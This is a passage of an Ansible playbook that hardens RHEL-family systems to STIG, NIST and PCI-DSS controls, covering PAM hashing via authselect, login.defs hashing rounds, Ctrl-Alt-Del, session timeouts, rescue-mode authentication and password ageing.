        - result_pam_authselect_restore_features is not skipped

      - name: Set PAM Password Hashing Algorithm - password-auth - Change the PAM
          file to be edited according to the custom authselect profile
        ansible.builtin.set_fact:
          pam_file_path: /etc/authselect/{{ authselect_custom_profile }}/{{ pam_file_path
            | basename }}
        when:
        - authselect_custom_profile is defined
      when:
      - result_authselect_present.stat.exists

    - name: Set PAM Password Hashing Algorithm - password-auth - Check if &quot;{{ pam_file_path
        }}&quot; File is Present
      ansible.builtin.stat:
        path: '{{ pam_file_path }}'
      register: pam_file_path_present

    - name: Set PAM Password Hashing Algorithm - password-auth - Ensure That Only
        the Correct Hashing Algorithm Option For pam_unix.so Is Used in {{ pam_file_path
        }}
      ansible.builtin.replace:
        dest: '{{ pam_file_path }}'
        regexp: (^\s*password.*pam_unix\.so.*)\b{{ item }}\b\s*(.*)
        replace: \1\2
      when:
      - item != var_password_hashing_algorithm_pam.split('|')[0]
      - pam_file_path_present.stat.exists
      loop:
      - sha512
      - yescrypt
      - gost_yescrypt
      - blowfish
      - sha256
      - md5
      - bigcrypt
      register: result_pam_hashing_options_removal

    - name: Set PAM Password Hashing Algorithm - password-auth - Ensure authselect
        changes are applied
      ansible.builtin.command:
        cmd: authselect apply-changes -b
      when:
      - result_authselect_present.stat.exists
      - result_pam_hashing_options_removal is changed
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    - result_pam_password_auth_file_present.stat.exists
    tags:
    - CJIS-5.6.2.2
    - DISA-STIG-RHEL-08-010160
    - NIST-800-171-3.13.11
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(1)(c)
    - NIST-800-53-IA-5(c)
    - PCI-DSS-Req-8.2.1
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - set_password_hashing_algorithm_passwordauth

  - name: Set PAM Password Hashing Algorithm - system-auth - Check if /etc/pam.d/system-auth
      file is present
    ansible.builtin.stat:
      path: /etc/pam.d/system-auth
    register: result_pam_auth_file_present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.6.2.2
    - DISA-STIG-RHEL-08-010159
    - NIST-800-171-3.13.11
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(1)(c)
    - NIST-800-53-IA-5(c)
    - PCI-DSS-Req-8.2.1
    - PCI-DSSv4-8.3
    - PCI-DSSv4-8.3.2
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - set_password_hashing_algorithm_systemauth

  - name: Set PAM Password Hashing Algorithm - system-auth - Check the proper remediation
      for the system
    block:

    - name: Set PAM Password Hashing Algorithm - system-auth - Define the PAM file
        to be edited as a local fact
      ansible.builtin.set_fact:
        pam_file_path: /etc/pam.d/system-auth

    - name: Set PAM Password Hashing Algorithm - system-auth - Check if system relies
        on authselect tool
      ansible.builtin.stat:
        path: /usr/bin/authselect
      register: result_authselect_present

    - name: Set PAM Password Hashing Algorithm - system-auth - Ensure authselect custom
        profile is used if authselect is present
      block:

      - name: Set PAM Password Hashing Algorithm - system-auth - Check integrity of
          authselect current profile
        ansible.builtin.command:
          cmd: authselect check
        register: result_authselect_check_cmd
        changed_when: false
        check_mode: false
        failed_when: false

      - name: Set PAM Password Hashing Algorithm - system-auth - Informative message
          based on the authselect integrity check result
        ansible.builtin.assert:
          that:
          - ansible_check_mode or result_authselect_check_cmd.rc == 0
          fail_msg:
          - authselect integrity check failed. Remediation aborted!
          - This remediation could not be applied because an authselect profile was
            not selected or the selected profile is not intact.
          - It is not recommended to manually edit the PAM files when authselect tool
            is available.
          - In cases where the default authselect profile does not cover a specific
            demand, a custom authselect profile is recommended.
          success_msg:
          - authselect integrity check passed

      - name: Set PAM Password Hashing Algorithm - system-auth - Get authselect current
          profile
        ansible.builtin.shell:
          cmd: authselect current -r | awk '{ print $1 }'
        register: result_authselect_profile
        changed_when: false
        when:
        - result_authselect_check_cmd is success

      - name: Set PAM Password Hashing Algorithm - system-auth - Define the current
          authselect profile as a local fact
        ansible.builtin.set_fact:
          authselect_current_profile: '{{ result_authselect_profile.stdout }}'
          authselect_custom_profile: '{{ result_authselect_profile.stdout }}'
        when:
        - result_authselect_profile is not skipped
        - result_authselect_profile.stdout is match(&quot;custom/&quot;)

      - name: Set PAM Password Hashing Algorithm - system-auth - Define the new authselect
          custom profile as a local fact
        ansible.builtin.set_fact:
          authselect_current_profile: '{{ result_authselect_profile.stdout }}'
          authselect_custom_profile: custom/hardening
        when:
        - result_authselect_profile is not skipped
        - result_authselect_profile.stdout is not match(&quot;custom/&quot;)

      - name: Set PAM Password Hashing Algorithm - system-auth - Get authselect current
          features to also enable them in the custom profile
        ansible.builtin.shell:
          cmd: authselect current | tail -n+3 | awk '{ print $2 }'
        register: result_authselect_features
        changed_when: false
        check_mode: false
        when:
        - result_authselect_profile is not skipped
        - authselect_current_profile is not match(&quot;custom/&quot;)

      - name: Set PAM Password Hashing Algorithm - system-auth - Check if any custom
          profile with the same name was already created
        ansible.builtin.stat:
          path: /etc/authselect/{{ authselect_custom_profile }}
        register: result_authselect_custom_profile_present
        changed_when: false
        when:
        - result_authselect_profile is not skipped
        - authselect_current_profile is not match(&quot;custom/&quot;)

      - name: Set PAM Password Hashing Algorithm - system-auth - Create an authselect
          custom profile based on the current profile
        ansible.builtin.command:
          cmd: authselect create-profile hardening -b {{ authselect_current_profile
            }}
        when:
        - result_authselect_profile is not skipped
        - result_authselect_check_cmd is success
        - authselect_current_profile is not match(&quot;^(custom/|local)&quot;)
        - not result_authselect_custom_profile_present.stat.exists

      - name: Set PAM Password Hashing Algorithm - system-auth - Create an authselect
          custom profile based on sssd profile
        ansible.builtin.command:
          cmd: authselect create-profile hardening -b sssd
        when:
        - result_authselect_profile is not skipped
        - result_authselect_check_cmd is success
        - authselect_current_profile is match(&quot;local&quot;)
        - not result_authselect_custom_profile_present.stat.exists

      - name: Set PAM Password Hashing Algorithm - system-auth - Ensure authselect
          changes are applied
        ansible.builtin.command:
          cmd: authselect apply-changes -b --backup=before-hardening-custom-profile
        when:
        - result_authselect_check_cmd is success
        - result_authselect_profile is not skipped
        - authselect_current_profile is not match(&quot;custom/&quot;)
        - authselect_custom_profile is not match(authselect_current_profile)

      - name: Set PAM Password Hashing Algorithm - system-auth - Ensure the authselect
          custom profile is selected
        ansible.builtin.command:
          cmd: authselect select {{ authselect_custom_profile }}
        register: result_pam_authselect_select_profile
        when:
        - result_authselect_check_cmd is success
        - result_authselect_profile is not skipped
        - authselect_current_profile is not match(&quot;custom/&quot;)
        - authselect_custom_profile is not match(authselect_current_profile)

      - name: Set PAM Password Hashing Algorithm - system-auth - Restore the authselect
          features in the custom profile
        ansible.builtin.command:
          cmd: authselect enable-feature {{ item }}
        loop: '{{ result_authselect_features.stdout_lines }}'
        register: result_pam_authselect_restore_features
        when:
        - result_authselect_profile is not skipped
        - result_authselect_features is not skipped
        - result_pam_authselect_select_profile is not skipped

      - name: Set PAM Password Hashing Algorithm - system-auth - Ensure authselect
          changes are applied
        ansible.builtin.command:
          cmd: authselect apply-changes -b --backup=after-hardening-custom-profile
        when:
        - result_authselect_check_cmd is success
        - result_authselect_profile is not skipped
        - result_pam_authselect_restore_features is not skipped

      - name: Set PAM Password Hashing Algorithm - system-auth - Change the PAM file
          to be edited according to the custom authselect profile
        ansible.builtin.set_fact:
          pam_file_path: /etc/authselect/{{ authselect_custom_profile }}/{{ pam_file_path
            | basename }}
        when:
        - authselect_custom_profile is defined
      when:
      - result_authselect_present.stat.exists

    - name: Set PAM Password Hashing Algorithm - system-auth - Define a fact for control
        already filtered in case filters are used
      ansible.builtin.set_fact:
        pam_module_control: sufficient

    - name: Set PAM Password Hashing Algorithm - system-auth - Check if expected PAM
        module line is present in {{ pam_file_path }}
      ansible.builtin.lineinfile:
        path: '{{ pam_file_path }}'
        regexp: ^\s*password\s+{{ pam_module_control | regex_escape() }}\s+pam_unix.so\s*.*
        state: absent
      check_mode: true
      changed_when: false
      register: result_pam_line_present

    - name: Set PAM Password Hashing Algorithm - system-auth - Include or update the
        PAM module line in {{ pam_file_path }}
      block:

      - name: Set PAM Password Hashing Algorithm - system-auth - Check if required
          PAM module line is present in {{ pam_file_path }} with different control
        ansible.builtin.lineinfile:
          path: '{{ pam_file_path }}'
          regexp: ^\s*password\s+.*\s+pam_unix.so\s*
          state: absent
        check_mode: true
        changed_when: false
        register: result_pam_line_other_control_present

      - name: Set PAM Password Hashing Algorithm - system-auth - Ensure the correct
          control for the required PAM module line in {{ pam_file_path }}
        ansible.builtin.replace:
          dest: '{{ pam_file_path }}'
          regexp: ^(\s*password\s+).*(\bpam_unix.so.*)
          replace: \1{{ pam_module_control }} \2
        register: result_pam_module_edit
        when:
        - result_pam_line_other_control_present.found == 1

      - name: Set PAM Password Hashing Algorithm - system-auth - Ensure the required
          PAM module line is included in {{ pam_file_path }}
        ansible.builtin.lineinfile:
          dest: '{{ pam_file_path }}'
          line: password    {{ pam_module_control }}    pam_unix.so
        register: result_pam_module_add
        when:
        - result_pam_line_other_control_present.found == 0 or result_pam_line_other_control_present.found
          &gt; 1

      - name: Set PAM Password Hashing Algorithm - system-auth - Ensure authselect
          changes are applied
        ansible.builtin.command:
          cmd: authselect apply-changes -b
        when:
        - result_authselect_present is defined
        - result_authselect_present.stat.exists
        - |-
          (result_pam_module_add is defined and result_pam_module_add.changed)
           or (result_pam_module_edit is defined and result_pam_module_edit.changed)
      when:
      - result_pam_line_present.found is defined
      - result_pam_line_present.found == 0

    - name: Set PAM Password Hashing Algorithm - system-auth - Define a fact for control
        already filtered in case filters are used
      ansible.builtin.set_fact:
        pam_module_control: sufficient

    - name: Set PAM Password Hashing Algorithm - system-auth - Check if the required
        PAM module option is present in {{ pam_file_path }}
      ansible.builtin.lineinfile:
        path: '{{ pam_file_path }}'
        regexp: ^\s*password\s+{{ pam_module_control | regex_escape() }}\s+pam_unix.so\s*.*\s{{
          var_password_hashing_algorithm_pam.split(&quot;|&quot;)[0] }}\b
        state: absent
      check_mode: true
      changed_when: false
      register: result_pam_module_set_password_hashing_algorithm_systemauth_option_present

    - name: Set PAM Password Hashing Algorithm - system-auth - Ensure the &quot;{{ var_password_hashing_algorithm_pam.split(&quot;|&quot;)[0]
        }}&quot; PAM option for &quot;pam_unix.so&quot; is included in {{ pam_file_path }}
      ansible.builtin.lineinfile:
        path: '{{ pam_file_path }}'
        backrefs: true
        regexp: ^(\s*password\s+{{ pam_module_control | regex_escape() }}\s+pam_unix.so.*)
        line: \1 {{ var_password_hashing_algorithm_pam.split(&quot;|&quot;)[0] }}
        state: present
      register: result_pam_set_password_hashing_algorithm_systemauth_add
      when:
      - result_pam_module_set_password_hashing_algorithm_systemauth_option_present.found
        is defined
      - result_pam_module_set_password_hashing_algorithm_systemauth_option_present.found
        == 0

    - name: Set PAM Password Hashing Algorithm - system-auth - Ensure authselect changes
        are applied
      ansible.builtin.command:
        cmd: authselect apply-changes -b
      when:
      - result_authselect_present.stat.exists
      - |-
        (result_pam_set_password_hashing_algorithm_systemauth_add is defined and result_pam_set_password_hashing_algorithm_systemauth_add.changed)
         or (result_pam_set_password_hashing_algorithm_systemauth_edit is defined and result_pam_set_password_hashing_algorithm_systemauth_edit.changed)
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    - result_pam_auth_file_present.stat.exists
    tags:
    - CJIS-5.6.2.2
    - DISA-STIG-RHEL-08-010159
    - NIST-800-171-3.13.11
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(1)(c)
    - NIST-800-53-IA-5(c)
    - PCI-DSS-Req-8.2.1
    - PCI-DSSv4-8.3
    - PCI-DSSv4-8.3.2
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - set_password_hashing_algorithm_systemauth

  - name: Set PAM Password Hashing Algorithm - system-auth - Check if /etc/pam.d/system-auth
      File is Present
    ansible.builtin.stat:
      path: /etc/pam.d/system-auth
    register: result_pam_auth_file_present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.6.2.2
    - DISA-STIG-RHEL-08-010159
    - NIST-800-171-3.13.11
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(1)(c)
    - NIST-800-53-IA-5(c)
    - PCI-DSS-Req-8.2.1
    - PCI-DSSv4-8.3
    - PCI-DSSv4-8.3.2
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - set_password_hashing_algorithm_systemauth

  - name: Set PAM Password Hashing Algorithm - system-auth - Check The Proper Remediation
      For The System
    block:

    - name: Set PAM Password Hashing Algorithm - system-auth - Define the PAM file
        to be edited as a local fact
      ansible.builtin.set_fact:
        pam_file_path: /etc/pam.d/system-auth

    - name: Set PAM Password Hashing Algorithm - system-auth - Check if system relies
        on authselect tool
      ansible.builtin.stat:
        path: /usr/bin/authselect
      register: result_authselect_present

    - name: Set PAM Password Hashing Algorithm - system-auth - Ensure authselect custom
        profile is used if authselect is present
      block:

      - name: Set PAM Password Hashing Algorithm - system-auth - Check integrity of
          authselect current profile
        ansible.builtin.command:
          cmd: authselect check
        register: result_authselect_check_cmd
        changed_when: false
        check_mode: false
        failed_when: false

      - name: Set PAM Password Hashing Algorithm - system-auth - Informative message
          based on the authselect integrity check result
        ansible.builtin.assert:
          that:
          - ansible_check_mode or result_authselect_check_cmd.rc == 0
          fail_msg:
          - authselect integrity check failed. Remediation aborted!
          - This remediation could not be applied because an authselect profile was
            not selected or the selected profile is not intact.
          - It is not recommended to manually edit the PAM files when authselect tool
            is available.
          - In cases where the default authselect profile does not cover a specific
            demand, a custom authselect profile is recommended.
          success_msg:
          - authselect integrity check passed

      - name: Set PAM Password Hashing Algorithm - system-auth - Get authselect current
          profile
        ansible.builtin.shell:
          cmd: authselect current -r | awk '{ print $1 }'
        register: result_authselect_profile
        changed_when: false
        when:
        - result_authselect_check_cmd is success

      - name: Set PAM Password Hashing Algorithm - system-auth - Define the current
          authselect profile as a local fact
        ansible.builtin.set_fact:
          authselect_current_profile: '{{ result_authselect_profile.stdout }}'
          authselect_custom_profile: '{{ result_authselect_profile.stdout }}'
        when:
        - result_authselect_profile is not skipped
        - result_authselect_profile.stdout is match(&quot;custom/&quot;)

      - name: Set PAM Password Hashing Algorithm - system-auth - Define the new authselect
          custom profile as a local fact
        ansible.builtin.set_fact:
          authselect_current_profile: '{{ result_authselect_profile.stdout }}'
          authselect_custom_profile: custom/hardening
        when:
        - result_authselect_profile is not skipped
        - result_authselect_profile.stdout is not match(&quot;custom/&quot;)

      - name: Set PAM Password Hashing Algorithm - system-auth - Get authselect current
          features to also enable them in the custom profile
        ansible.builtin.shell:
          cmd: authselect current | tail -n+3 | awk '{ print $2 }'
        register: result_authselect_features
        changed_when: false
        check_mode: false
        when:
        - result_authselect_profile is not skipped
        - authselect_current_profile is not match(&quot;custom/&quot;)

      - name: Set PAM Password Hashing Algorithm - system-auth - Check if any custom
          profile with the same name was already created
        ansible.builtin.stat:
          path: /etc/authselect/{{ authselect_custom_profile }}
        register: result_authselect_custom_profile_present
        changed_when: false
        when:
        - result_authselect_profile is not skipped
        - authselect_current_profile is not match(&quot;custom/&quot;)

      - name: Set PAM Password Hashing Algorithm - system-auth - Create an authselect
          custom profile based on the current profile
        ansible.builtin.command:
          cmd: authselect create-profile hardening -b {{ authselect_current_profile
            }}
        when:
        - result_authselect_profile is not skipped
        - result_authselect_check_cmd is success
        - authselect_current_profile is not match(&quot;^(custom/|local)&quot;)
        - not result_authselect_custom_profile_present.stat.exists

      - name: Set PAM Password Hashing Algorithm - system-auth - Create an authselect
          custom profile based on sssd profile
        ansible.builtin.command:
          cmd: authselect create-profile hardening -b sssd
        when:
        - result_authselect_profile is not skipped
        - result_authselect_check_cmd is success
        - authselect_current_profile is match(&quot;local&quot;)
        - not result_authselect_custom_profile_present.stat.exists

      - name: Set PAM Password Hashing Algorithm - system-auth - Ensure authselect
          changes are applied
        ansible.builtin.command:
          cmd: authselect apply-changes -b --backup=before-hardening-custom-profile
        when:
        - result_authselect_check_cmd is success
        - result_authselect_profile is not skipped
        - authselect_current_profile is not match(&quot;custom/&quot;)
        - authselect_custom_profile is not match(authselect_current_profile)

      - name: Set PAM Password Hashing Algorithm - system-auth - Ensure the authselect
          custom profile is selected
        ansible.builtin.command:
          cmd: authselect select {{ authselect_custom_profile }}
        register: result_pam_authselect_select_profile
        when:
        - result_authselect_check_cmd is success
        - result_authselect_profile is not skipped
        - authselect_current_profile is not match(&quot;custom/&quot;)
        - authselect_custom_profile is not match(authselect_current_profile)

      - name: Set PAM Password Hashing Algorithm - system-auth - Restore the authselect
          features in the custom profile
        ansible.builtin.command:
          cmd: authselect enable-feature {{ item }}
        loop: '{{ result_authselect_features.stdout_lines }}'
        register: result_pam_authselect_restore_features
        when:
        - result_authselect_profile is not skipped
        - result_authselect_features is not skipped
        - result_pam_authselect_select_profile is not skipped

      - name: Set PAM Password Hashing Algorithm - system-auth - Ensure authselect
          changes are applied
        ansible.builtin.command:
          cmd: authselect apply-changes -b --backup=after-hardening-custom-profile
        when:
        - result_authselect_check_cmd is success
        - result_authselect_profile is not skipped
        - result_pam_authselect_restore_features is not skipped

      - name: Set PAM Password Hashing Algorithm - system-auth - Change the PAM file
          to be edited according to the custom authselect profile
        ansible.builtin.set_fact:
          pam_file_path: /etc/authselect/{{ authselect_custom_profile }}/{{ pam_file_path
            | basename }}
        when:
        - authselect_custom_profile is defined
      when:
      - result_authselect_present.stat.exists

    - name: Set PAM Password Hashing Algorithm - system-auth - Check if &quot;{{ pam_file_path
        }}&quot; File is Present
      ansible.builtin.stat:
        path: '{{ pam_file_path }}'
      register: pam_file_path_present

    - name: Set PAM Password Hashing Algorithm - system-auth - Ensure That Only the
        Correct Hashing Algorithm Option For pam_unix.so Is Used in {{ pam_file_path
        }}
      ansible.builtin.replace:
        dest: '{{ pam_file_path }}'
        regexp: (^\s*password.*pam_unix\.so.*)\b{{ item }}\b\s*(.*)
        replace: \1\2
      when:
      - item != var_password_hashing_algorithm_pam.split('|')[0]
      - pam_file_path_present.stat.exists
      loop:
      - sha512
      - yescrypt
      - gost_yescrypt
      - blowfish
      - sha256
      - md5
      - bigcrypt
      register: result_pam_hashing_options_removal

    - name: Set PAM Password Hashing Algorithm - system-auth - Ensure authselect changes
        are applied
      ansible.builtin.command:
        cmd: authselect apply-changes -b
      when:
      - result_authselect_present.stat.exists
      - result_pam_hashing_options_removal is changed
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    - result_pam_auth_file_present.stat.exists
    tags:
    - CJIS-5.6.2.2
    - DISA-STIG-RHEL-08-010159
    - NIST-800-171-3.13.11
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(1)(c)
    - NIST-800-53-IA-5(c)
    - PCI-DSS-Req-8.2.1
    - PCI-DSSv4-8.3
    - PCI-DSSv4-8.3.2
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - set_password_hashing_algorithm_systemauth

  - name: Set Password Hashing Rounds in /etc/login.defs - extract contents of the
      file /etc/login.defs
    ansible.builtin.slurp:
      src: /etc/login.defs
    register: etc_login_defs
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010130
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - set_password_hashing_min_rounds_logindefs

  - name: Set Password Hashing Rounds in /etc/login.defs - extract the value of SHA_CRYPT_MIN_ROUNDS
      if present
    ansible.builtin.set_fact:
      etc_login_defs_sha_crypt_min_rounds: '{{ etc_login_defs[''content''] | b64decode
        | regex_search(''^\s*SHA_CRYPT_MIN_ROUNDS\s+(\d+)'', ''\1'', multiline=True)
        | default([], true) }}'
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010130
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - set_password_hashing_min_rounds_logindefs

  - name: Set Password Hashing Rounds in /etc/login.defs - extract the value of SHA_CRYPT_MAX_ROUNDS
      if present
    ansible.builtin.set_fact:
      etc_login_defs_sha_crypt_max_rounds: '{{ etc_login_defs[''content''] | b64decode
        | regex_search(''^\s*SHA_CRYPT_MAX_ROUNDS\s+(\d+)'', ''\1'', multiline=True)
        | default([], true) }}'
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010130
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - set_password_hashing_min_rounds_logindefs

  - name: Set Password Hashing Rounds in /etc/login.defs - Ensure SHA_CRYPT_MIN_ROUNDS
      has Minimum Value of 5000
    ansible.builtin.replace:
      path: /etc/login.defs
      regexp: (^\s*SHA_CRYPT_MIN_ROUNDS\s+)(?:\d+)(.*$)
      replace: \g&lt;1&gt;{{ var_password_hashing_min_rounds_login_defs }}\g&lt;2&gt;
      backup: false
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - etc_login_defs_sha_crypt_min_rounds is defined and etc_login_defs_sha_crypt_min_rounds
      | length &gt; 0 and etc_login_defs_sha_crypt_min_rounds | first | int &lt; var_password_hashing_min_rounds_login_defs
      | int
    tags:
    - DISA-STIG-RHEL-08-010130
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - set_password_hashing_min_rounds_logindefs

  - name: Set Password Hashing Rounds in /etc/login.defs - Ensure SHA_CRYPT_MAX_ROUNDS
      has Minimum Value of 5000
    ansible.builtin.replace:
      path: /etc/login.defs
      regexp: (^\s*SHA_CRYPT_MAX_ROUNDS\s+)(?:\d+)(.*$)
      replace: \g&lt;1&gt;{{ var_password_hashing_min_rounds_login_defs }}\g&lt;2&gt;
      backup: false
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - etc_login_defs_sha_crypt_max_rounds is defined and etc_login_defs_sha_crypt_max_rounds
      | length &gt; 0 and etc_login_defs_sha_crypt_max_rounds | first | int &lt; var_password_hashing_min_rounds_login_defs
      | int
    tags:
    - DISA-STIG-RHEL-08-010130
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - set_password_hashing_min_rounds_logindefs

  - name: Set Password Hashing Rounds in /etc/login.defs - SHA_CRYPT_MIN_ROUNDS add
      configuration if not found
    ansible.builtin.lineinfile:
      line: SHA_CRYPT_MIN_ROUNDS {{ var_password_hashing_min_rounds_login_defs }}
      path: /etc/login.defs
      state: present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - etc_login_defs_sha_crypt_min_rounds | length == 0
    tags:
    - DISA-STIG-RHEL-08-010130
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - set_password_hashing_min_rounds_logindefs

  - name: Set Password Hashing Rounds in /etc/login.defs - SHA_CRYPT_MAX_ROUNDS add
      configuration if not found
    ansible.builtin.lineinfile:
      line: SHA_CRYPT_MAX_ROUNDS {{ var_password_hashing_min_rounds_login_defs }}
      path: /etc/login.defs
      state: present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - etc_login_defs_sha_crypt_max_rounds | length == 0
    tags:
    - DISA-STIG-RHEL-08-010130
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - set_password_hashing_min_rounds_logindefs

  - name: Disable Ctrl-Alt-Del Burst Action
    ansible.builtin.lineinfile:
      dest: /etc/systemd/system.conf
      state: present
      regexp: ^CtrlAltDelBurstAction
      line: CtrlAltDelBurstAction=none
      create: true
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;systemd&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040172
    - NIST-800-171-3.4.5
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-6(a)
    - disable_ctrlaltdel_burstaction
    - disable_strategy
    - high_severity
    - low_complexity
    - low_disruption
    - no_reboot_needed

  - name: Disable Ctrl-Alt-Del Reboot Activation
    ansible.builtin.systemd:
      name: ctrl-alt-del.target
      force: true
      masked: true
      state: stopped
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040170
    - NIST-800-171-3.4.5
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - disable_ctrlaltdel_reboot
    - disable_strategy
    - high_severity
    - low_complexity
    - low_disruption
    - no_reboot_needed

  - name: Remove StopIdleSessionSec from main config
    ansible.builtin.lineinfile:
      path: /etc/systemd/logind.conf
      regexp: ^\s*StopIdleSessionSec\s*=
      state: absent
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ( ansible_distribution == 'RedHat' and ansible_distribution_version is version('8.7',
      '&gt;=') and ansible_distribution == 'RedHat' and ansible_distribution_version
      is version('9.0', '!=') ) or ansible_distribution == 'OracleLinux' and ansible_distribution_version
      is version('8.7', '&gt;=') or ansible_distribution == 'SLES' and ansible_distribution_version
      is version('15', '&gt;=')
    tags:
    - CJIS-5.5.6
    - DISA-STIG-RHEL-08-020035
    - NIST-800-171-3.1.11
    - NIST-800-53-AC-12
    - NIST-800-53-AC-17(a)
    - NIST-800-53-AC-17(a)
    - NIST-800-53-AC-2(5)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-SC-10
    - PCI-DSS-Req-8.1.8
    - logind_session_timeout
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Set 'StopIdleSessionSec' to '{{ var_logind_session_timeout }}' in the [Login]
      section of '/etc/systemd/logind.conf'
    community.general.ini_file:
      path: /etc/systemd/logind.conf
      section: Login
      option: StopIdleSessionSec
      value: '{{ var_logind_session_timeout }}'
      create: true
      mode: 420
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ( ansible_distribution == 'RedHat' and ansible_distribution_version is version('8.7',
      '&gt;=') and ansible_distribution == 'RedHat' and ansible_distribution_version
      is version('9.0', '!=') ) or ansible_distribution == 'OracleLinux' and ansible_distribution_version
      is version('8.7', '&gt;=') or ansible_distribution == 'SLES' and ansible_distribution_version
      is version('15', '&gt;=')
    tags:
    - CJIS-5.5.6
    - DISA-STIG-RHEL-08-020035
    - NIST-800-171-3.1.11
    - NIST-800-53-AC-12
    - NIST-800-53-AC-17(a)
    - NIST-800-53-AC-17(a)
    - NIST-800-53-AC-2(5)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-SC-10
    - PCI-DSS-Req-8.1.8
    - logind_session_timeout
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Require emergency mode password
    ansible.builtin.lineinfile:
      create: true
      dest: /usr/lib/systemd/system/emergency.service
      regexp: ^#?ExecStart=
      line: ExecStart=-/bin/sh -c &quot;/sbin/sulogin; /usr/bin/systemctl --fail --no-block
        default&quot;
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010152
    - NIST-800-171-3.1.1
    - NIST-800-171-3.4.5
    - NIST-800-53-AC-3
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-2
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - require_emergency_target_auth
    - restrict_strategy

  - name: Require Authentication for Single User Mode - Require single user mode password
    ansible.builtin.lineinfile:
      create: true
      dest: /usr/lib/systemd/system/rescue.service
      regexp: ^#?ExecStart=
      line: ExecStart=-/bin/sh -c &quot;/sbin/sulogin; /usr/bin/systemctl --fail --no-block
        default&quot;
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010151
    - NIST-800-171-3.1.1
    - NIST-800-171-3.4.5
    - NIST-800-53-AC-3
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-2
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - require_singleuser_auth
    - restrict_strategy

  - name: Set Account Expiration Following Inactivity
    ansible.builtin.lineinfile:
      create: true
      dest: /etc/default/useradd
      regexp: ^INACTIVE
      line: INACTIVE={{ var_account_disable_post_pw_expiration }}
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;shadow-utils&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.6.2.1.1
    - DISA-STIG-RHEL-08-020260
    - NIST-800-171-3.5.6
    - NIST-800-53-AC-2(3)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-4(e)
    - PCI-DSS-Req-8.1.4
    - PCI-DSSv4-8.2
    - PCI-DSSv4-8.2.6
    - account_disable_post_pw_expiration
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Set Password Maximum Age
    ansible.builtin.lineinfile:
      create: true
      dest: /etc/login.defs
      regexp: ^#?PASS_MAX_DAYS
      line: PASS_MAX_DAYS {{ var_accounts_maximum_age_login_defs }}
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;shadow-utils&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.6.2.1
    - DISA-STIG-RHEL-08-020200
    - NIST-800-171-3.5.6
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(1)(d)
    - NIST-800-53-IA-5(f)
    - PCI-DSS-Req-8.2.4
    - PCI-DSSv4-8.3
    - PCI-DSSv4-8.3.9
